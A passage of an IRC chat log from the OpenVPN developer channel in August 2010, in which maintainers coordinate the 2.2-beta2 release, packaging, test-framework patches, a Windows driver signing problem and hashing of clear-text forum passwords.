ecrist> soon as Samuli puts the tarball up 10:49 <@dazo> ecrist: that would be cool, then we're all synchronised on the first public release ... that avoids confusion 10:50 < ecrist> the freebsd port has been 'public' since friday 10:50 <@dazo> yeah, but not announced, right? 10:50 < ecrist> not announced by openvpn, perhaps. 10:50 < ecrist> I've told folks about it 10:51 <@dazo> aha ... nah, never mind ... the git tree hasn't hidden anything either ... the v2.2-beta1 tag has been available for about a week too 10:52 < ecrist> mattock - do we store all forum passwords in clear text, or only the import from phpbb? 10:54 <@mattock> probably most... pwm seems to create non-encrypted passwords. I guess we could encrypt them afterwards 10:55 < ecrist> is there a way we can get pwm to encrypt them on the fly? 10:55 < ecrist> even if I have to edit the source... 10:56 <@mattock> I have to check that... there's a new version of pwm already out there 10:58 < ecrist> ok 11:00 < ecrist> mattock, are you putting the beta2 release in the same place as you put the beta1 release? 11:00 <@mattock> yes 11:01 <@mattock> I'm having some ridiculous bandwith issues... 5-10kbps on 54Mbps WLAN... annoying 11:02 <@mattock> takes a while to get them uploaded 11:04 <@dazo> ouch 11:04 <@dazo> mattock: what kind of trojan do you have installed now, which steals your bandwidth? ;-) 11:06 <@mattock> I was just wondering the same... 11:06 <@mattock> could be Debian testing which is on the server (access point) 11:08 <@mattock> hmm... there have been some unattended upgrades on my laptop, perhaps a logout/reboot would do the trick 11:08 <@mattock> that's what a windows user would do, and I'm no better :) 11:09 -!- mattock [~samuli@dyn55-11.yok.fi] has left #openvpn-devel [] 11:15 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 11:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:19 <@mattock> ok, finally: http://build.openvpn.net/downloads/releases/ 11:19 < vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 11:19 <@mattock> network-manager was probably playing some tricks on me 11:20 <@dazo> \o/ 11:20 <@mattock> would somebody like to test building the tar.gz? 11:20 <@dazo> then James need to sign these the tarball and zip file 11:20 <@dazo> mattock: I'll do an update on one of my test boxes 11:20 <@mattock> ok 11:20 <@mattock> great 11:24 < ecrist> I'll test build now for the port 11:25 <@dazo> compile okay ... running make check 11:26 <@dazo> ================== 11:26 <@dazo> All 2 tests passed 11:27 <@dazo> ================== 11:27 <@dazo> mattock: looking good! 11:27 <@mattock> ok... "if it builds, ship it" 11:27 <@mattock> I'll let James know 11:29 <@mattock> ecrist: I'll ask the pwm guys if passwords could be hashed on fly 11:30 <@mattock> adding support for that should not be a big deal, though 11:30 <@mattock> it's Java 11:30 <@dazo> ^^ then it's a big deal :-P 11:30 * dazo runs and hides 11:35 <@cron2> dazo: btw, krzee tested the patch for #17 and ACKed 11:35 <@dazo> cron2: on the mailing list? 11:35 < ecrist> port update submitted. I'll push to get it comitted today 11:35 <@dazo> or ticket? 11:36 <@dazo> ecrist: cool! thx a lot! 11:38 <@cron2> dazo: in the trac ticket 11:38 <@dazo> cron2: cool! I'll pull it in now then ... in beta3, it'll be in 11:38 <@cron2> \o/ 11:39 * ecrist in awe at the progress 11:41 <@mattock> ecrist: pwm uses Novell's Java classes to manage LDAP. Passwords are managed using setPassword and changePassword methods: http://chorgan.provo.novell.com/ldapapis/javadoc/0.4.5/com/novell/ldapchai/ChaiUser.html#changePassword%28java.lang.String,%20java.lang.String%29 11:41 < vpnHelper> Title: ChaiUser (at chorgan.provo.novell.com) 11:41 <@mattock> there's no talk about encryption in there 11:41 <@mattock> however, the password could be hashed before it's passed to the setPassword/changePassword method 11:42 <@mattock> I'll ask about this on pwm-general mailinglist first 11:44 < ecrist> ok. either way, it shouldn't be that hard to call SHA1 within the code and hash it ourselves. 11:46 <@dazo> krzee: how should I mark that you acked the patches in the commit? krzee ? 11:49 <@dazo> mattock: there are some hashing algorithms in some standard java libs which needs to imported, IIRC ... it's pretty simple to do 11:49 <@mattock> dazo: yeah, shouldn't be hard 11:49 <@mattock> =I can do it 11:49 <@mattock> :) 11:50 <@dazo> import java.security.*; 11:50 <@dazo> import javax.crypto.*; 11:50 <@dazo> hash = sha512sum(data); 11:50 <@dazo> I believe it's something like this 11:51 < ecrist> dazo: better if we can get the functionality upstream 11:51 <@dazo> ecrist: completely agree! ... so if it's not there ... it's quick enough to send a patch :) 11:51 < ecrist> right 11:53 <@dazo> ecrist: you think krzee will be bitter if I use krzee in a few commit messages? 11:53 < ecrist> is that the email he uses for mailing list? 11:55 <@dazo> ecrist: yeah 11:56 <@mattock> ecrist: getting patches to pwm should be easy, Jason (main dev) is very responsive, I've sent him documentation etc 11:56 <@mattock> just sent mail to pwm-general about the issue 11:56 <@mattock> should get a response today/tomorrow 11:56 <@mattock> then we can fix it 11:56 <@mattock> it _may_ be that latest pwm version supports encrypted password, can't remember 12:03 <@cron2> dazo: what about cherrypicking the test framework for beta3? 12:03 <@dazo> cron2: yeah ... that should also be done ... has it been reviewed? 12:03 * dazo don't recall 12:04 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 12:04 <@cron2> dazo: well, there was some feedback from waldner, but no formal "ACK" or "NACK". But since it doesn't affect the OpenVPN code itself, the risk of introducing instability is small :-) 12:05 <@dazo> cron2: I'll buy that one ;-) 12:05 <@dazo> I'll poke into it when I get home 12:05 <@cron2> thanks 12:05 * dazo finally got time to test chantra's ssl compiler warning patch as well ... running it now as a client 12:25 -!- dazo is now known as dazo_afk 12:32 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 13:11 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 13:17 < ecrist> openvpn2.2-beta2 has been comitted to freebsd and is available from CVS now. 13:17 < ecrist> :P 13:17 < ecrist> how's _that_ for efficiency 13:49 -!- dazo_afk is now known as dazo 13:50 <@dazo> ecrist: you rock! 13:50 * dazo wonders how long time James will need to fix the driver signing issue ... 13:51 * cron2 *said* that this windows building stuff is tricky :) 13:57 <@dazo> heh 13:58 <@dazo> cron2: I hope you don't mind me cleaning up your commit messages a little bit before applying them :) 13:58 * dazo don't like one line with 90 chars :-P 14:19 <@dazo> hmmm ... seems VERIFY_PLUGIN is called before CRL CHECK .... interesting .... 14:20 <@dazo> (PLUGIN_TLS_VERIFY) 14:20 * dazo is daring today ... upgraded a production server to openvpn-2.2-beta2 14:21 <@cron2> well, we use openvpn-testing (from the FreeBSD port) on our main OpenVPN server, and feat_ipv6_payload on the backup server... :-) 14:27 <@dazo> heh ... when you've had your own fingers in the code ... you simply dare more :) 14:30 <@mattock> and I'm using openvpn-devel port for forums 14:30 <@mattock> I'll update the server to -devel once buildbot creates debian packages 14:30 <@dazo> but we're obliged to do that on our own stuff :) 14:31 <@mattock> yep! 14:31 <@cron2> well, I had my fingers in the code because we needed IPv6 payload support :-) - and of course "eat your own dogfood" applies 14:31 <@mattock> 'till tomorrow, of to bed 14:31 <@mattock> off 14:32 <@dazo> :) 14:32 <@mattock> james should be on top of things now and has the 2.2-beta2 tarball at his disposal 14:32 <@dazo> mattock: lovely! I hope he manage to solve his issues rather soon 14:33 <@dazo> cron2: I'm pulling down your test framework patches from the mailing list now ... looking good! 14:33 * dazo acks and commits 14:33 <@cron2> dazo: cool 14:35 <@dazo> I'm pulling most of your mail explaining it into the commit ... I see no point not having such good docs in the commit log 14:37 <@cron2> fine with that 14:37 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:50 <@dazo> cron2: git tree updated :) 15:03 * kisom & 15:04 * dazo decides to try to fix his wrt54gl router after a openwrt upgrade 15:06 -!- dazo is now known as dazo_afk --- Day changed Wed Aug 18 2010 01:16 -!- mape2k [~mape2k@f053193044.adsl.alicedsl.de] has joined #openvpn-devel 01:33 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:52 -!- dazo_afk is now known as dazo 03:40 <@cron2> any news on "2.1.2 on windows is broken"? one of my colleagues installed 2.1.2 on win7 and his TAP driver is not working... 03:56 <@mattock> cron2: I believe James is fixing that 03:57 <@mattock> ecrist: just did some research on pwm+password hashing... not supported, but adding support should be trivial 03:57 <@mattock> just tested standalone Java code that does salted SHA - worked great with OpenLDAP 03:58 <@mattock> I believe existing passwords can be hashed using slappasswd 03:58 -!- mape2k [~mape2k@f053193044.adsl.alicedsl.de] has quit [Ping timeout: 265 seconds] 04:05 <@dazo> mattock: Ralf Hildebrandt suggest to remove 2.1.2 from the download page ... which sounds clever, as it is practically useless for windows users 04:05 <@dazo> mattock: can you suggest this further? 04:05 <@mattock> dazo: agreed 04:05 <@mattock> I will 04:10 <@cron2> the openvpn.net download page is weird. why is there no 2.1.1 downloadable? where's the link to the beta pages? 04:13 <@mattock> cron2: james has some sort of "release script" that he uses to make releases 04:13 <@mattock> I have not made any modifications to the Downloads page because the script would just overwrite them 04:13 <@mattock> I haven't managed to squeeze out any details from James so far 04:14 <@cron2> mmmmh. this is all less than ideal 04:15 <@cron2> right now there seems to be no way to download 2.1 or 2.1.1 from openvpn.net - "older releases" links to 2.0_rc* and 1.x stuff 04:16 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:16 <@dazo> mattock: I have the 2.1.1 and James signature on one of my servers ... if you want to put it on the build server, I can provide you download links 04:18 <@cron2> I think these should really be reachable from the openvpn.net site, "build" is more something for beta, snapshots, etc. 04:21 <@mattock> I tend to agree with cron2... but then again, there's a "releases" directory on build.openvpn.net 04:21 <@dazo> agreed, but as a workaround for the community until the official pages are updated 04:21 <@cron2> yes, definitely better than "no access" 04:21 <@mattock> yes, that would make sense 04:21 <@dazo> and with the original signature from James available, it confirms the authenticity 04:22 <@mattock> I'll ask if that's ok for James 04:22 <@mattock> does 2.1.1 work ok, then? 04:22 <@mattock> =does not have this driver signing issue? 04:22 <@dazo> nope 04:22 <@dazo> 2.1.1 is very fine ... that was released in Dec 2009 04:22 <@mattock> does not have or does not work? :) 04:22 <@mattock> ok 04:24 <@mattock> just asked about this from james 04:26 <@mattock> he seems to be in semi-stealth mode now 04:31 <@mattock> ...lunch 04:34 <@mattock> james thinks he can fix the driver signing issue later today 05:02 <@dazo> cron2: the openwrt package you're providing ... you should probably build it with --enable-small 05:03 * dazo just tried to install it on his newly reflashed router .... 06:06 <@mattock> building "allmerged" and "beta2.2" fail on build server... when run manually as well as by buildbot: http://pastie.org/1099679 06:07 <@mattock> also, the name of the test directory (openvpn-2.1.2) is a little counterintuitive 06:07 <@mattock> on "allmerged" that is 06:09 <@mattock> I asked Frank (the web guy) about updating the "Downloads" page 06:17 <@mattock> cron2: the generation of ts_client.sh apparently affects "make distcheck" as it outputs "FAIL: t_client.sh" 06:17 <@mattock> commit 0df01a3eb7ef21de7a18a32457ddb39084baead7 06:20 <@mattock> in fact, the t_client.sh failure seems to cause whole "make distcheck" fail 06:23 <@mattock> ok, removing "make distcheck" from buildbot did the trick (using "dist-zip" and "dist-gzip" for now) 06:41 <@dazo> gah 06:41 <@dazo> cron2: ^^^ 06:41 <@dazo> if t_cltsrv.sh is missing ... it should be SKIP and not FAIL ... 06:41 <@dazo> hmm 06:41 <@dazo> brb 06:50 < ecrist> mattock: saw the email, I figure it'd be really easy. best solution is to get it in-place up-stream. 06:51 <@mattock> yep 06:51 <@mattock> that's what I intend to do 07:08 < ecrist> ok, I think I've trac RSS and git RSS configured to report to this channel, and forum RSS configured to report to ##openvpn 07:08 < ecrist> !rss info tickets 07:08 < vpnHelper> ecrist: Title: OpenVPN Community:; URL: ; Description: Trac Report -; Last updated: time unavailable. 07:08 < ecrist> !rss info test-trac 07:08 < vpnHelper> ecrist: Title: SourceForge - openvpn/openvpn-testing.git/rss log; URL: ; Description: OpenVPN with experimental and new features - which requires a lot of testing; Last updated: 1 day, 17 hours, 39 minutes, and 9 seconds ago. 07:08 < ecrist> !rss info forum 07:08 < vpnHelper> ecrist: Title: OpenVPN Forum; URL: ; Description: OVPN Forum is a forum dedicated to the OpenVPN (www.openvpn.net) project.; Last updated: 8 minutes and 32 seconds ago. 07:28 <@dazo> mattock: cron2: I've sent a patch the ML now, which fixes this issue ... if one of you can give an ACK, I'll get it in asap 07:28 <@mattock> nice! 07:29 <@dazo> hmm ML is slow now ... 07:30 <@dazo> mattock: do you know if there are some XML-RPC interface to Trac? 07:30 * dazo ponders on writing a git module which can open a new ticket directly based on a patch file 07:31 <@mattock> seems so: http://trac-hacks.org/wiki/XmlRpcPlugin 07:31 < vpnHelper> Title: XmlRpcPlugin - Trac Hacks - Plugins Macros etc. - Trac (at trac-hacks.org) 07:31 <@mattock> not _official_ plugin, though 07:31 <@dazo> hmmmmm 07:31 <@dazo> hmmmm 07:32 <@dazo> I could then even write a different module as well ... which grabs the patches as well ... 07:32 * dazo need a Trac test server :) 07:37 < ecrist> dazo: it would be nice to build a button on the forum to turn a forum thread into a trac ticket, as well 07:37 < ecrist> perhaps available to moderators only 07:38 <@dazo> ecrist: that's cool idea! 07:38 <@mattock> hmm... the fixed openvpn deploy script worked with no clitches. 07:38 <@mattock> suspicious 07:38 <@dazo> that would be more a phpbb plug-in I'd guess 07:38 <@dazo> mattock: heh 07:38 <@mattock> it's kind of advanced, uses functions and all :) 07:38 < ecrist> yeah, but that wouldn't be so hard, it's how to send the request to trac to generate the ticket... 07:39 < ecrist> could just send the SQL, I suppose. 07:39 <@mattock> ecrist: xml-rpc or something would definitely be required 07:39 <@mattock> I'd hate to expose Trac XML-RPC to the Internet, but it would be fine through the VPN 07:39 <@mattock> ecrist: has VPN connection worked ok? 07:39 < ecrist> yes, it works very well. 07:39 <@dazo> xml-rpc might not be required, but it would make it work more easily across platforms and database backends 07:39 <@mattock> I've had no issues whatsoever myself since I setup the OpenVPN server with LDAP 07:40 * dazo wonders if he got what he need to access that VPN 07:40 <@mattock> dazo: you probably don't, but I can tell you what to do 07:40 * dazo don't mind if the xml-rpc is only available inside VPN for now 07:40 <@dazo> mattock: cool! :) 07:40 <@mattock> just a sec 07:41 <@mattock> I'll mail you everything you need 07:42 <@dazo> mattock: looked at the XML-RPC code ... it have the needed ticket.create() and ticket.putAttachment() methods available ... so this could be fun :) 07:43 <@dazo> is it a possibility we can have a test-trac setup against a test database easily? If not, I'll look at setting up something on my own 07:53 <@dazo> cat 0001-Test-framework-improvment-Do-not-FAIL-if-t_client.rc.patch | git mailinfo msg patch > header ... gives you three files - the patch dissected into useful segments ... 08:08 <@mattock> dazo: I suggest setting up a private test Trac instance... I don't have any extra servers available for it right now 08:08 <@dazo> mattock: sure no prob! 08:08 <@mattock> if you use tracd (not apache) then it should be easy to setup 08:09 <@dazo> nice! 08:09 * dazo pokes at what Fedora gives out of the box 08:09 <@mattock> let me know if you have any issues with it 08:09 <@mattock> you should use 0.11.x version of the Trac... at least for now 08:09 <@mattock> when next Debian stable release is out, it'll probably have 0.12.x or something 08:10 <@mattock> so I got to upgrade sooner or later 08:21 <@mattock> ok... I give up on checking duplicates by hashing the releases... even 100% same commands (git clone -> checkout -> build) produce tar-files with different has 08:21 <@mattock> hash 08:21 <@mattock> I guess I'll have to wait until the build is triggered by an actual change... 08:26 <@mattock> until then there'll be lots of duplicates 08:30 <@mattock> on the plus side, "allmerged" tarballs are now available: http://build.openvpn.net/downloads/allmerged/ 08:30 < vpnHelper> Title: Index of /downloads/allmerged (at build.openvpn.net) 08:50 < ecrist> !rss info forum 08:50 < vpnHelper> ecrist: Title: OpenVPN Forum; URL: ; Description: OVPN Forum is a forum dedicated to the OpenVPN (www.openvpn.net) project.; Last updated: 18 minutes and 22 seconds ago. 09:34 <@cron2> re - you have been busy - I'll try to catch things thrown into my direction 09:34 <@cron2> dazo: re openwrt - I'll check. I think the "original" openvpn-for-wrt that I based my Makefile on doesn't use --enable-small either, but I'll investigate (and update and bump the -testing version) 09:35 <@dazo> cron2: cool! thx! ... the binary of -testing was almost 500Kb ... a bit rough when you have only 2MB available :) 09:36 * dazo will anyway need to do a MMC/SD card extension hack ... as the OpenWRT Backfire eats space 09:36 <@dazo> openssl libs requires 1MB 09:36 <@cron2> mattock: regarding t_client.sh - this is surprising, it shouldn't FAIL if t_client.rc is missing, but print a message and succeeed. will check. 09:38 <@dazo> cron2: you had an exit 77 09:38 <@dazo> exit 1, not exit 77 09:38 <@dazo> (which I learnt about today) 09:39 <@dazo> Another guy has reviewed my patches ... very good input ... but the last round is more general cleanup 09:40 <@dazo> cron2: so if you could ack my patch, we can introduce a separate clean up patch with the last comments, as they are not directly related to what I'm fixing 09:46 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Remote host closed the connection] 09:46 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:52 <@dazo> cron2: heh ... you ACKed my v1 patch, not the v2 patch :-P but I'll pull that together (only change is exit 0 -> exit 77) 09:53 <@dazo> thx! 09:55 <@cron2> I just ACKed v2 as well :-) - that's what you get for reading mails in sequence. 09:56 < ecrist> when will beta be announced? 09:56 <@cron2> could you patch the other "SKIP -> exit 0" locations as well? There's 3 more (CA_CERT, TEST_RUN_LIST, uid root) 09:57 <@cron2> regarding openvpn on wrt - 500 kbyte sounds like a lot, need to check whether the binary is stripped or not 09:57 <@dazo> cron2: I'll clean up that in a separate patch 09:58 <@cron2> how did you build? with the provided package feed, or with my initial instructions ("build your own Makefile")? 10:01 <@dazo> cron2: I didn't build it ... I just look at the one on your web page ... it's not stripped as far as I can see 10:03 <@cron2> dazo: ah, that one :-) - I seem to remember that there was something with stripping and such. Could you check the ipk from their snapshot section? Since we're in the official tree now (woohoo!) they are providing binaries :-) 10:03 <@cron2> URL is in our wiki 10:03 <@dazo> ahh ... I nice! I didn't check our wiki :-P cool of me! :) 10:07 < ecrist> raidz: can you update the theme on the forums and make links orange? 10:08 < ecrist> the blue they currently use blends in too well with the other text, and are difficult to see. 10:20 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:37 < ecrist> dazo: check this out: https://forums.openvpn.net/viewtopic.php?f=10&t=624 10:37 < vpnHelper> Title: OpenVPN Forum View topic - Auto-tune mtu (at forums.openvpn.net) 10:39 <@dazo> gee ... such patches must go to the mailing list for review 10:43 <@cron2> ... and I'll NACK it right away 10:44 <@cron2> looking at the "ifconfig" bit gives me goosebumps, for dual reasons - not all systems have "ifconfig ... mtu", and "we don't do system() in OpenVPN" 10:47 <@cron2> in addition, this should be conditional - people might want fragmentation inside openvpn, and no messing with interface MTU 10:47 <@cron2> (and in a bridging setup bridging LAN->TAP, this will just force-break other hosts) 10:55 * dazo didn't review the patch ... just want to get the patches into the right pipes 10:56 <@dazo> cron2: good point ... I looked closer at the patch now .... it's a hack for sure ... but this should be possible to mature into something worth including 10:58 < ecrist> dazo: I would posit that getting used to such things showing up in the forum is something we'll need to get used to 10:59 < ecrist> most are going to be crap, but it might spawn something useful 10:59 <@dazo> ecrist: yeah, that's fine ... but then point them in the right direction 11:03 <@cron2> ecrist: which is why I'm commenting this here, and not in the forum (because I would need to be much more polite there, to avoid scaring away contributors) 11:04 <@cron2> dazo: yes, the basic idea is fine 11:04 < ecrist> I don't think IRC should be different than the forums. 11:04 < ecrist> if we need that, I can create a locked IRC channel for security/private matters 11:05 <@dazo> but due to that responses comes quicker on IRC ... it is easier to still not discourage even with sharp immediate resistance, but I do agree ... IRC needs also to have an open and helpful attitude as well 11:07 * cron2 is open and helpful - but still sometimes seen as negative and discouraging 11:07 < ecrist> I'm in the same boat, just wait till I IRC with a bottle of rum! 11:07 <@cron2> so I spend more time on wording on mailing list and forum replies - but that usually means "if I have little time, I just won't answer there" 11:08 <@cron2> cheers :) 11:08 < ecrist> dazo/cron2: you may benefit the community by doing a little on the forum. some leadership from developers could garner better patches and enthusiasm 11:09 <@dazo> ecrist: I'll keep that in mind, and do my best ... unfortunately I'm quite loaded ... but when I see interesting topics from vpnHelper, I'll check it out for sure 11:09 < ecrist> thanks. 11:10 <@dazo> cron2: mattock1: I've pushed out new bugfix2.1, allmerged and beta2.2 branch with the test framework cleanups 11:10 <@dazo> cron2: thx for the last ack 11:10 * dazo need to run 11:11 < ecrist> dazo, that reply was nice, thanks a lot. 11:12 <@dazo> ecrist: you may rework that as a reply template if that's suitable for similar situations 11:15 <@cron2> dazo: thanks 11:15 -!- dazo is now known as dazo_afk 11:28 < ecrist> ping mattock 11:29 <@raidz> ecrist: will get those links updated now, are you talking about external links in posts? 11:29 < ecrist> yes 11:29 < ecrist> do you do graphics? 11:30 < ecrist> we need some rank images created. I was going to try and do it myself, but I'm not a graphics guy. 11:30 <@raidz> hmm, I am not a graphics guy either, but, one of our guys can possibly do that, and if he can't I am sure we can find someone who can 11:31 < ecrist> 130x35px, whatever colors fit the theme with the following titles, to start: 11:31 < ecrist> Devloper (special, for active developers) 11:31 < ecrist> OpenVPN Technologies (for company employees) 11:32 < ecrist> Newbie, User, Power User, Expert, 'I should be a dev.' 11:35 <@raidz> ok, we probably can't get them done in house but I know some people who can most likley get them done 11:35 <@raidz> can you send me an e-mail of exactly what you are looking for so I can send the requirments to them? 11:43 * cron2 wants a c00l d3v3l0prz icon 11:45 < ecrist> raidz: I'll send that email now 11:46 <@raidz> ecrist: thanks, have we asked other community members if they have any skills in this area? 11:46 < ecrist> I don't know of anyone who does, but I've not asked since we initially rolled the forums out 11:47 <@raidz> ahh ok 11:52 <@cron2> .o(of course dazo needs a "master git wrangler" logo, and James an "OpenVPN god" logo :-) ) 11:52 < ecrist> :) 11:52 <@raidz> I like that idea :-p 11:57 < ecrist> the email was sent, raidz 11:58 <@raidz> yep, got it thanks. I will keep you posted. 12:09 <@raidz> exactly 12:09 <@raidz> wrong im 13:26 < ecrist> where is the beta2 release for windows? 13:28 <@raidz> Is there one? 13:28 < ecrist> well, that would be part of that, I suppose. 13:29 <@raidz> I thinkk I read somewhere on the mailing list that we do not yet have an automated build enviroment for the windows client 13:29 <@raidz> but I might be incorrect 13:39 < kisom> Any guidelines towards the openvpn logo? 13:39 < kisom> Can I use it, can I use it as part of my product, can I modify it etc etc 14:32 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 14:33 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 15:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 15:58 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 15:59 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 16:22 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] --- Day changed Thu Aug 19 2010 00:43 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 00:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 00:59 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:28 <@mattock> ecrist: james is working on the Windows TAP driver issue in 2.1.2 01:29 <@mattock> he has the 2.2-beta2 tarball but has not yet built the windows installer from it 01:59 <@mattock> hmm... it seems I forgot to write a summary of our previous meeting... 01:59 <@mattock> better late than never 01:59 <@mattock> topics for today's meeting are most welcome: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-19 02:02 <@mattock> I was thinking that we should discuss relation of 2.1.2 and 2.2-beta2 02:02 <@mattock> like what each release is meant for 02:02 <@mattock> should 2.1.x series contain only bug fixes 02:02 <@mattock> and be discontinued when 2.2 goes stable 02:04 <@mattock> also, I think we need to build Windows client binaries for 2.2-beta ourselves a.s.a.p... James is clearly swamped badly, which requires postponing the release further and further 02:17 <@mattock> also, I just got clarification to the community "Downloads" page issue... James creates that with his script, so I can't edit it. Something needs to be done to address this. 02:17 <@mattock> ecrist: "lost password" and "profile -> account settings" pages are now redirected to pwm 02:50 <@mattock> oki, preliminary meeting agenda here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-19 02:50 < vpnHelper> Title: Topics-2010-08-19 – OpenVPN Community (at community.openvpn.net) 02:50 <@mattock> if james can't make it, we have to discuss something else 02:50 -!- dazo_afk is now known as dazo 03:02 -!- Netsplit *.net <-> *.split quits: chantra_afk, @dazo, ScriptFanix 03:17 -!- dazo [~dazo@nat/redhat/x-jctdhsbbptdppozu] has joined #openvpn-devel 03:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:48 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 03:51 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has joined #openvpn-devel 04:04 -!- Netsplit *.net <-> *.split quits: waldner, chantra_afk, @d12fk, agi, @raidz, @dazo, @cron2, mape2k, yam 04:12 -!- dazo [~dazo@nat/redhat/x-jctdhsbbptdppozu] has joined #openvpn-devel 04:12 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 04:12 -!- ServerMode/#openvpn-devel [+oo dazo cron2] by zelazny.freenode.net 04:13 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:13 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 04:13 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 04:13 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 04:13 -!- ServerMode/#openvpn-devel [+oo d12fk raidz] by zelazny.freenode.net 04:14 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 04:14 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has joined #openvpn-devel 04:15 -!- Netsplit *.net <-> *.split quits: waldner, chantra_afk, @d12fk, @raidz, @dazo, @cron2, mape2k, yam 04:17 -!- Netsplit over, joins: mape2k, @raidz, @d12fk, @dazo, @cron2, chantra_afk, waldner, yam 04:20 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 04:21 -!- Netsplit *.net <-> *.split quits: @dazo 04:22 -!- Netsplit *.net <-> *.split quits: @cron2 04:22 -!- Netsplit *.net <-> *.split quits: waldner, chantra_afk, @d12fk, @raidz, mape2k, ScriptFanix, yam 04:35 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 04:36 -!- Netsplit over, joins: ScriptFanix, mape2k, @raidz, @d12fk, @dazo, @cron2, chantra_afk, waldner, yam 04:38 -!- Netsplit *.net <-> *.split quits: agi 04:43 -!- Netsplit over, joins: agi 05:18 -!- Netsplit *.net <-> *.split quits: agi 05:19 -!- Netsplit over, joins: agi 05:30 < kisom> heey, 2.1.2 is released 05:30 * kisom is up to date 05:32 <@cron2> that was two days ago 05:43 < kisom> any easy way to upgrade many clients at one time? 05:43 < kisom> we're thinking of rolling out openvpn on the company network... 06:06 <@cron2> what platform? windows, macos, freebsd? 06:09 <@dazo> kisom: be careful with 2.1.2 on windows ... the drivers aren't signed correctly, so it will fail to install 06:22 < kisom> Windowze 06:22 < kisom> all the way 06:22 < kisom> well i haven't rolled out anything yet, still using ciscos VPN 06:25 <@dazo> We're hoping James will pop a new release which fixes the signing issues ... and then we're getting 2.2-beta packages as well 06:31 <@cron2> kisom: as dazo said, 2.1.2 on windows is currently broken 06:52 <@cron2> kisom: but in general - I don't know enough about windows large-scale deployments to tell whether it can be done in a usefully automated way or not, sorry 06:54 <@dazo> it is possible to do a quiet install of OpenVPN, via the installer ... openvpn-2.1.1-install.exe /S 06:54 <@dazo> so if you have some kind of distributed install system, it can for sure be pushed out 06:54 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 06:54 <@dazo> (even though .msi packages probably would work even smoother) 06:58 <@dazo> d12fk: how the progress on OpenVPN-GUI going? 07:03 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has joined #openvpn-devel 07:31 < kisom> dazo: Any idea if the /S argument will also update the current installation? 07:32 <@dazo> kisom: I believe so, even though it's a loooong time since I tested it 07:32 < kisom> Ok, thanks. I'll try it out and see what happens 07:33 < kisom> Btw, you should remove the GUI from the default install package 07:39 <@cron2> kisom: why? 07:40 <@cron2> one of the nice things in 2.1 was that we now have a GUI that comes with the package :-) 08:02 <@dazo> I agree 08:03 <@dazo> cron2: how is the gui installed now? you have a precompiled gui exe which is packed into the OpenVPN installer? 08:03 <@dazo> (how is the installer built now?, is more the question) 08:33 <@cron2> dazo: well. The "domake-win" does all the work 08:33 <@cron2> 1. configure, make openvpn 08:34 <@cron2> 2. build tap driver - or grab from well-defined location if "pre-compiled bundle is used" 08:34 <@cron2> 3. copy openvpn.exe, tap driver, openvpn-gui.exe "must be sitting there already" to certain directory 08:34 <@dazo> hmm 08:35 * dazo wonders and ponders .... 08:35 <@cron2> 4. call install-win32/buildinstaller, which then runs "makensis" 08:36 <@cron2> dazo: just look into the domake-win script, it's actually quite readable (last 30 lines) 08:36 <@cron2> well, it doesn't actually *do* anything, just dispatches build-or-get requests to other scripts :-) 08:36 <@dazo> would it be beneficial to split out things a bit to separate git trees? Windows installer build, wintap drivers and leave the rest of the "core" openvpn command line app in the current tree? 08:36 <@cron2> I don't really think so 08:37 <@cron2> it's not like lots of development is happening on the tap driver or windows installer that would cause troubles for the main git 08:37 <@dazo> and then we could setup a "openvpn-wininstall.git" tree ... which uses git submodule, which again pulls down those 